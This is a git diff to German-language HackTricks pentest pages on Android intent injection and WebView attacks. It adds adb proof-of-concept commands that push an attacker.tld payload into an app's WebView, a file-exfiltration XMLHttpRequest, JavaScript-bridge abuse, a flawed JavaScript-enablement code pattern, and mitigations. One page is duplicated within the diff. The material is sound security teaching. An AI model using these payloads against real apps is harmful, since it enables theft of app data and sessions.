diff --git a/src/mobile-pentesting/android-app-pentesting/intent-injection.md b/src/mobile-pentesting/android-app-pentesting/intent-injection.md index 6c422d885..53f2732a3 100644 --- a/src/mobile-pentesting/android-app-pentesting/intent-injection.md +++ b/src/mobile-pentesting/android-app-pentesting/intent-injection.md @@ -1,5 +1,64 @@ -{{#include ../../banners/hacktricks-training.md}} - -**Schau dir an: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)** +# Intent Injection + +{{#include ../../banners/hacktricks-training.md}} + +Intent-Injection missbraucht Komponenten, die von Angreifern kontrollierte Intents oder Daten akzeptieren, die später in Intents umgewandelt werden. Zwei sehr häufige Muster während Android-App-Pentests sind: + +- Übergeben von gestalteten Extras an exportierte Activities/Services/BroadcastReceivers, die später an privilegierte, nicht exportierte Komponenten weitergeleitet werden. +- Auslösen von exportierten VIEW/BROWSABLE Deep Links, die von Angreifern kontrollierte URLs in interne WebViews oder andere sensible Senken weiterleiten. + +## Deep Links → WebView Senke (URL-Parameter-Injection) + +Wenn eine App einen benutzerdefinierten Schema-Deep-Link wie folgt exponiert: +```text +myscheme://com.example.app/web?url= +``` +und die empfangende Activity leitet den `url`-Abfrageparameter in eine WebView weiter, können Sie die App zwingen, beliebige entfernte Inhalte in ihrem eigenen WebView-Kontext darzustellen. + +PoC über adb: +```bash +# Implicit VIEW intent +adb shell am start -a android.intent.action.VIEW \ +-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html" + +# Or explicitly target an Activity +adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \ +-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html" +``` +Impact +- HTML/JS wird im WebView-Profil der App ausgeführt. +- Wenn JavaScript aktiviert ist (standardmäßig oder aufgrund von fehlerhaften Prüfungen), können Sie alle exponierten `@JavascriptInterface`-Objekte auflisten/verwenden, WebView-Cookies/ lokalen Speicher stehlen und pivotieren. + +Siehe auch: + +{{#ref}} +webview-attacks.md +{{#endref}} + +## Order-of-checks-Fehler, der JavaScript aktiviert + +Ein wiederkehrender Fehler ist die Aktivierung von JavaScript (oder anderen permissiven WebView-Einstellungen), bevor die endgültige URL-Whitelist/Überprüfung abgeschlossen ist. Wenn frühe Helfer Ihren Deep Link akzeptieren und der WebView zuerst konfiguriert wird, erfolgt Ihr endgültiger Ladevorgang mit bereits aktiviertem JavaScript, selbst wenn spätere Prüfungen fehlerhaft oder zu spät sind. + +Worauf man im dekompilierten Code achten sollte: +- Mehrere Helfer, die die URL unterschiedlich analysieren/teilen/wiederherstellen (inkonsistente Normalisierung). +- Aufrufe von `getSettings().setJavaScriptEnabled(true)` vor der letzten Host-/Pfad-Whitelist-Prüfung. +- Eine Pipeline wie: analysieren → teilweise validieren → WebView konfigurieren → endgültig überprüfen → loadUrl. + +Mitigationen +- Einmal kanonisieren und streng validieren; sicher schließen. +- JavaScript nur aktivieren, nachdem alle Prüfungen bestanden sind und kurz bevor vertrauenswürdige Inhalte geladen werden. +- Vermeiden Sie es, Brücken zu nicht vertrauenswürdigen Ursprüngen offenzulegen. + +## Andere klassische Intent-Injection-Primitiven + +- startActivity/sendBroadcast unter Verwendung von vom Angreifer bereitgestellten `Intent`-Extras, die später erneut analysiert (`Intent.parseUri(...)`) und ausgeführt werden. +- Exportierte Proxy-Komponenten, die Intents ohne Berechtigungsprüfungen an nicht exportierte sensible Komponenten weiterleiten. + +## Referenzen + +- [Android – Zugriff auf app-geschützte Komponenten](https://blog.oversecured.com/Android-Access-to-app-protected-components/) +- [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26) +- [Pwn2Own Irland 2024 – Samsung S24-Angriffs-Kette (Whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html) +- [Demonstrationsvideo](https://www.youtube.com/watch?v=LAIr2laU-So) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/webview-attacks.md b/src/mobile-pentesting/android-app-pentesting/webview-attacks.md index 9d8bca2f5..e5c5024ae 100644 --- a/src/mobile-pentesting/android-app-pentesting/webview-attacks.md +++ b/src/mobile-pentesting/android-app-pentesting/webview-attacks.md @@ -12,14 +12,14 @@ Ein kritischer Aspekt der Android-Entwicklung ist die korrekte Handhabung von We ### **Dateizugriff in WebViews** -Standardmäßig erlauben WebViews den Dateizugriff. Diese Funktionalität wird durch die Methode `setAllowFileAccess()` gesteuert, die seit Android API-Level 3 (Cupcake 1.5) verfügbar ist. Anwendungen mit der Berechtigung **android.permission.READ_EXTERNAL_STORAGE** können Dateien aus dem externen Speicher über ein Datei-URL-Schema (`file://path/to/file`) lesen. +Standardmäßig erlauben WebViews den Dateizugriff. Diese Funktionalität wird durch die Methode `setAllowFileAccess()` gesteuert, die seit Android API-Level 3 (Cupcake 1.5) verfügbar ist. Anwendungen mit der Berechtigung **android.permission.READ_EXTERNAL_STORAGE** können Dateien aus dem externen Speicher über ein Dateischema-URL (`file://path/to/file`) lesen. #### **Veraltete Funktionen: Universeller und Dateizugriff von URLs** - **Universeller Zugriff von Datei-URLs**: Diese veraltete Funktion erlaubte Cross-Origin-Anfragen von Datei-URLs, was ein erhebliches Sicherheitsrisiko aufgrund potenzieller XSS-Angriffe darstellt. Die Standardeinstellung ist für Apps, die auf Android Jelly Bean und neuer abzielen, deaktiviert (`false`). - Um diese Einstellung zu überprüfen, verwenden Sie `getAllowUniversalAccessFromFileURLs()`. - Um diese Einstellung zu ändern, verwenden Sie `setAllowUniversalAccessFromFileURLs(boolean)`. -- **Dateizugriff von Datei-URLs**: Diese ebenfalls veraltete Funktion steuerte den Zugriff auf Inhalte von anderen Datei-Schema-URLs. Wie der universelle Zugriff ist auch hier die Standardeinstellung aus Sicherheitsgründen deaktiviert. +- **Dateizugriff von Datei-URLs**: Diese ebenfalls veraltete Funktion steuerte den Zugriff auf Inhalte von anderen Dateischema-URLs. Wie der universelle Zugriff ist die Standardeinstellung aus Sicherheitsgründen deaktiviert. - Verwenden Sie `getAllowFileAccessFromFileURLs()`, um zu überprüfen, und `setAllowFileAccessFromFileURLs(boolean)`, um festzulegen. #### **Sicheres Laden von Dateien** @@ -31,7 +31,7 @@ Um den Zugriff auf das Dateisystem zu deaktivieren und dennoch auf Assets und Re #### **WebViewAssetLoader** -Die Klasse **WebViewAssetLoader** ist der moderne Ansatz zum Laden lokaler Dateien. Sie verwendet http(s)-URLs, um auf lokale Assets und Ressourcen zuzugreifen, und entspricht der Same-Origin-Policy, wodurch das CORS-Management erleichtert wird. +Die **WebViewAssetLoader**-Klasse ist der moderne Ansatz zum Laden lokaler Dateien. Sie verwendet http(s)-URLs, um auf lokale Assets und Ressourcen zuzugreifen, und entspricht der Same-Origin-Policy, wodurch das CORS-Management erleichtert wird. ### loadUrl @@ -44,7 +44,7 @@ Natürlich sollte ein potenzieller Angreifer niemals in der Lage sein, die **URL ### **JavaScript und Intent-Schema-Verarbeitung** - **JavaScript**: Standardmäßig in WebViews deaktiviert, kann es über `setJavaScriptEnabled()` aktiviert werden. Vorsicht ist geboten, da das Aktivieren von JavaScript ohne angemessene Sicherheitsvorkehrungen Sicherheitsanfälligkeiten einführen kann. -- **Intent-Schema**: WebViews können das `intent`-Schema verarbeiten, was potenziell zu Exploits führen kann, wenn es nicht sorgfältig verwaltet wird. Ein Beispiel für eine Sicherheitsanfälligkeit betraf einen exponierten WebView-Parameter "support_url", der ausgenutzt werden konnte, um Cross-Site-Scripting (XSS)-Angriffe auszuführen. +- **Intent-Schema**: WebViews können das `intent`-Schema verarbeiten, was zu Exploits führen kann, wenn es nicht sorgfältig verwaltet wird. Ein Beispiel für eine Sicherheitsanfälligkeit betraf einen exponierten WebView-Parameter "support_url", der ausgenutzt werden konnte, um Cross-Site-Scripting (XSS)-Angriffe auszuführen. ![Vulnerable WebView](<../../images/image (1191).png>) @@ -96,7 +96,224 @@ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { WebView.setWebContentsDebuggingEnabled(true); } ``` -- Um das Debugging basierend auf dem debuggable Zustand der Anwendung bedingt zu aktivieren: +- Um das Debugging bedingt basierend auf dem debuggable Zustand der Anwendung zu aktivieren: +```java +if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { +if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE)) +{ WebView.setWebContentsDebuggingEnabled(true); } +} +``` +## Exfiltriere beliebige Dateien + +- Demonstriert die Exfiltration beliebiger Dateien mithilfe einer XMLHttpRequest: +```javascript +var xhr = new XMLHttpRequest() +xhr.onreadystatechange = function () { +if (xhr.readyState == XMLHttpRequest.DONE) { +alert(xhr.responseText) +} +} +xhr.open( +"GET", +"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db", +true +) +xhr.send(null) +``` +# Webview-Angriffe + +## Anleitung zu WebView-Konfigurationen und Sicherheit + +### Übersicht über WebView-Sicherheitsanfälligkeiten + +Ein kritischer Aspekt der Android-Entwicklung ist die korrekte Handhabung von WebViews. Diese Anleitung hebt wichtige Konfigurationen und Sicherheitspraktiken hervor, um Risiken im Zusammenhang mit der Nutzung von WebView zu mindern. + +![WebView-Beispiel](<../../images/image (1190).png>) + +### **Dateizugriff in WebViews** + +Standardmäßig erlauben WebViews den Dateizugriff. Diese Funktionalität wird durch die Methode `setAllowFileAccess()` gesteuert, die seit Android API-Level 3 (Cupcake 1.5) verfügbar ist. Anwendungen mit der Berechtigung **android.permission.READ_EXTERNAL_STORAGE** können Dateien aus dem externen Speicher über ein Dateischema (`file://path/to/file`) lesen. + +#### **Veraltete Funktionen: Universeller und Dateizugriff von URLs** + +- **Universeller Zugriff von Datei-URLs**: Diese veraltete Funktion erlaubte Cross-Origin-Anfragen von Datei-URLs, was ein erhebliches Sicherheitsrisiko aufgrund potenzieller XSS-Angriffe darstellt. Die Standardeinstellung ist für Apps, die auf Android Jelly Bean und neuer abzielen, deaktiviert (`false`). +- Um diese Einstellung zu überprüfen, verwenden Sie `getAllowUniversalAccessFromFileURLs()`. +- Um diese Einstellung zu ändern, verwenden Sie `setAllowUniversalAccessFromFileURLs(boolean)`. +- **Dateizugriff von Datei-URLs**: Diese ebenfalls veraltete Funktion steuerte den Zugriff auf Inhalte von anderen Dateischema-URLs. Wie der universelle Zugriff ist die Standardeinstellung aus Sicherheitsgründen deaktiviert. +- Verwenden Sie `getAllowFileAccessFromFileURLs()`, um zu überprüfen, und `setAllowFileAccessFromFileURLs(boolean)`, um festzulegen. + +#### **Sicheres Laden von Dateien** + +Um den Zugriff auf das Dateisystem zu deaktivieren und dennoch auf Assets und Ressourcen zuzugreifen, wird die Methode `setAllowFileAccess()` verwendet. Mit Android R und höher ist die Standardeinstellung `false`. + +- Überprüfen Sie mit `getAllowFileAccess()`. +- Aktivieren oder deaktivieren Sie mit `setAllowFileAccess(boolean)`. + +#### **WebViewAssetLoader** + +Die **WebViewAssetLoader**-Klasse ist der moderne Ansatz zum Laden lokaler Dateien. Sie verwendet http(s)-URLs, um auf lokale Assets und Ressourcen zuzugreifen, und entspricht der Same-Origin-Policy, wodurch das CORS-Management erleichtert wird. + +### loadUrl + +Dies ist eine gängige Funktion, die verwendet wird, um beliebige URLs in einem Webview zu laden: +```java +webview.loadUrl("") +``` +Natürlich sollte ein potenzieller Angreifer niemals in der Lage sein, die **URL** zu **kontrollieren**, die eine Anwendung laden wird. + +### Deep-Linking in interne WebView (benutzerdefinierter Scheme → WebView-Senke) + +Viele Apps registrieren benutzerdefinierte Schemes/Pfade, die eine vom Benutzer bereitgestellte URL in eine In-App-WebView leiten. Wenn der Deep-Link exportiert ist (VIEW + BROWSABLE), kann ein Angreifer die App zwingen, beliebige entfernte Inhalte innerhalb ihres WebView-Kontexts darzustellen. + +Typisches Manifestmuster (vereinfacht): +```xml + + + + + + + + +``` +Allgemeiner Codefluss (vereinfacht): +```java +// Entry activity +@Override +protected void onNewIntent(Intent intent) { +Uri deeplink = intent.getData(); +String url = deeplink.getQueryParameter("url"); // attacker-controlled +if (deeplink.getPathSegments().get(0).equals("web")) { +Intent i = new Intent(this, WebActivity.class); +i.putExtra("url", url); +startActivity(i); +} +} + +// WebActivity sink +webView.loadUrl(getIntent().getStringExtra("url")); +``` +Angriffsmuster und PoC über adb: +```bash +# Template – force load in internal WebView +adb shell am start -a android.intent.action.VIEW \ +-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html" + +# If a specific Activity must be targeted +adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \ +-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html" +``` +Impact: Die entfernte Seite wird im Kontext des App WebView ausgeführt (Cookies/Sitzung des App WebView-Profils, Zugriff auf alle exponierten @JavascriptInterface, potenzieller Zugriff auf content:// und file:// je nach Einstellungen). + +Hunting tips: +- Grep dekompilierte Quellen nach `getQueryParameter("url")`, `loadUrl(`, `WebView` Senken und Deep-Link-Handlern (`onCreate/onNewIntent`). +- Überprüfen Sie das Manifest auf VIEW+BROWSABLE-Filter und benutzerdefinierte Schemas/Hosts, die auf Aktivitäten abgebildet sind, die später ein WebView starten. +- Überprüfen Sie, ob es mehrere Deep-Link-Pfade gibt (z. B. einen „externen Browser“-Pfad im Vergleich zu einem „internen Webview“-Pfad) und bevorzugen Sie den, der innerhalb der App gerendert wird. + +### Aktivierung von JavaScript vor der Überprüfung (Fehler im Prüfablauf) + +Ein häufiger Fehler bei der Härtung besteht darin, JavaScript zu aktivieren oder entspannte WebView-Einstellungen zu konfigurieren, bevor die endgültige Zulassung/Überprüfung der Ziel-URL abgeschlossen ist. Wenn die Überprüfung inkonsistent zwischen den Helfern ist oder zu spät erfolgt, kann ein Angreifer-Duplikat einen Zustand erreichen, in dem: + +1) WebView-Einstellungen angewendet werden (z. B. `setJavaScriptEnabled(true)`), und +2) Die nicht vertrauenswürdige URL mit aktiviertem JavaScript geladen wird. + +Fehler-Muster (Pseudocode): +```java +// 1) Parse/early checks +Uri u = parse(intent); +if (!looksValid(u)) return; + +// 2) Configure WebView BEFORE final checks +webView.getSettings().setJavaScriptEnabled(true); // BAD: too early +configureMixedContent(); + +// 3) Do final verification (late) +if (!finalAllowlist(u)) return; // too late – JS already enabled + +// 4) Load +webView.loadUrl(u.toString()); +``` +Warum es ausnutzbar ist +- Inkonsistente Normalisierung: Helfer teilen/rekonstruieren die URL anders als die endgültige Überprüfung, was zu Abweichungen führt, die eine bösartige URL ausnutzen kann. +- Falsch angeordnete Pipeline: Das Aktivieren von JS in Schritt 2 gilt global für die WebView-Instanz und beeinflusst das endgültige Laden, selbst wenn die Überprüfung später fehlschlägt. + +Wie man testet +- Erstellen Sie Deep-Link-Payloads, die frühe Überprüfungen bestehen und die WebView-Konfigurationsseite erreichen. +- Verwenden Sie adb, um implizite VIEW-Intents auszulösen, die einen von Ihnen kontrollierten `url=`-Parameter liefern: +```bash +adb shell am start -a android.intent.action.VIEW \ +-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html" +``` +Wenn die Ausnutzung erfolgreich ist, führt Ihr Payload JavaScript im WebView der App aus. Von dort aus suchen Sie nach exponierten Brücken: +```html + +``` +Defensive guidance +- Canonicalize once; validate strictly against a single source of truth (scheme/host/path/query). +- Only call `setJavaScriptEnabled(true)` after all allowlist checks pass and just before loading trusted content. +- Avoid exposing `@JavascriptInterface` to untrusted origins; prefer per-origin gating. +- Consider per-WebView instances for trusted vs untrusted content, with JS disabled by default. + +### **JavaScript und Intent-Schema-Verarbeitung** + +- **JavaScript**: Standardmäßig in WebViews deaktiviert, kann es über `setJavaScriptEnabled()` aktiviert werden. Vorsicht ist geboten, da das Aktivieren von JavaScript ohne angemessene Sicherheitsvorkehrungen Sicherheitsanfälligkeiten einführen kann. +- **Intent-Schema**: WebViews können das `intent`-Schema verarbeiten, was zu Exploits führen kann, wenn es nicht sorgfältig verwaltet wird. Eine Beispielanfälligkeit betraf einen exponierten WebView-Parameter "support_url", der ausgenutzt werden konnte, um Cross-Site-Scripting (XSS)-Angriffe auszuführen. + +![Vulnerable WebView](<../../images/image (1191).png>) + +Exploitation example using adb: +```bash +adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html" +``` +### Javascript Bridge + +Eine Funktion wird von Android bereitgestellt, die es **JavaScript** in einem WebView ermöglicht, **native Android-App-Funktionen** aufzurufen. Dies wird durch die Nutzung der Methode `addJavascriptInterface` erreicht, die JavaScript mit nativen Android-Funktionalitäten integriert, die als _WebView JavaScript bridge_ bezeichnet werden. Vorsicht ist geboten, da diese Methode allen Seiten innerhalb des WebView den Zugriff auf das registrierte JavaScript Interface-Objekt ermöglicht, was ein Sicherheitsrisiko darstellt, wenn sensible Informationen über diese Schnittstellen offengelegt werden. + +- **Äußerste Vorsicht ist erforderlich** für Apps, die auf Android-Versionen unter 4.2 abzielen, aufgrund einer Schwachstelle, die die Ausführung von Remote-Code durch bösartiges JavaScript ermöglicht, das Reflection ausnutzt. + +#### Implementierung einer JavaScript Bridge + +- **JavaScript-Schnittstellen** können mit nativen Code interagieren, wie in den Beispielen gezeigt, in denen eine Klassenmethode JavaScript zur Verfügung gestellt wird: +```javascript +@JavascriptInterface +public String getSecret() { +return "SuperSecretPassword"; +}; +``` +- JavaScript Bridge wird aktiviert, indem eine Schnittstelle zum WebView hinzugefügt wird: +```javascript +webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge") +webView.reload() +``` +- Potenzielle Ausnutzung durch JavaScript, zum Beispiel über einen XSS-Angriff, ermöglicht das Aufrufen von exponierten Java-Methoden: +```html + +``` +- Um Risiken zu mindern, **beschränken Sie die Nutzung der JavaScript-Brücke** auf Code, der mit der APK ausgeliefert wird, und verhindern Sie das Laden von JavaScript aus externen Quellen. Für ältere Geräte setzen Sie die minimale API-Stufe auf 17. + +### Reflexionsbasierte Remote-Code-Ausführung (RCE) + +- Eine dokumentierte Methode ermöglicht die Erreichung von RCE durch Reflexion, indem ein spezifisches Payload ausgeführt wird. Die `@JavascriptInterface`-Annotation verhindert jedoch unbefugten Methoden Zugriff und begrenzt die Angriffsfläche. + +### Remote-Debugging + +- **Remote-Debugging** ist mit **Chrome Developer Tools** möglich, was Interaktion und beliebige JavaScript-Ausführung innerhalb des WebView-Inhalts ermöglicht. + +#### Aktivieren des Remote-Debuggings + +- Remote-Debugging kann für alle WebViews innerhalb einer Anwendung aktiviert werden durch: +```java +if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { +WebView.setWebContentsDebuggingEnabled(true); +} +``` +- Um das Debugging basierend auf dem debuggbaren Zustand der Anwendung bedingt zu aktivieren: ```java if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE)) @@ -122,10 +339,13 @@ xhr.send(null) ``` ## Referenzen -- [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html) -- [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android) -- [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView) -- [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1) -- [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I) +- [Überprüfung der Angriffsvektoren für den Dateizugriff von Android WebViews](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html) +- [WheresMyBrowser.Android (Demo-App)](https://github.com/authenticationfailure/WheresMyBrowser.Android) +- [Android WebView Referenz](https://developer.android.com/reference/android/webkit/WebView) +- [Deep Links & WebViews Exploitations – Teil II](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1) +- [Deep Links & WebViews Exploitations – Teil I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I) +- [Samsung S24 Exploit-Kette Pwn2Own 2024 Durchgang](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26) +- [Pwn2Own Irland 2024 – Samsung S24 Angriffs-Kette (Whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html) +- [Demonstrationsvideo](https://www.youtube.com/watch?v=LAIr2laU-So) {{#include ../../banners/hacktricks-training.md}}